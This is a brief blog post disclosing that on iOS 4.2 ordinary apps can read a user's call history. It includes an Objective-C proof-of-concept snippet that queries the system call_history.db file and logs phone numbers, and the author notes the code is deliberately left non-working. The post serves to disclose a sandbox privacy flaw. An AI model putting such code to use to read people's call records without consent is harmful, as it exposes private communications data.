Accessing an iPhone User’s Call History

by Nathan Goulding

It’s possible to access a user’s call history on a non-jailbroken phone running iOS 4.2. Other versions not tested. Proof of concept after the jump.

    FMDatabase* database = [FMDatabase databaseWithPath:@"/private/var/wireless/Library/CallHistory/call_history.db"];

    [database setLogsErrors: YES];

    if ([database open]) {

        FMResultSet* results = [database executeQuery:@"SELECT * FROM calls;"];

        while ([results next]) {

            NSLog(@”phone number: %@”, [[results resultDict] objectForKey:@”phone number”]);

        }

    }

This works because that SQLite3 database is readable by the “mobile” user, which all apps run as.

(You need to do some work to make the above code function. It doesn’t work “out-of-the-box” for obvious ethical reasons.)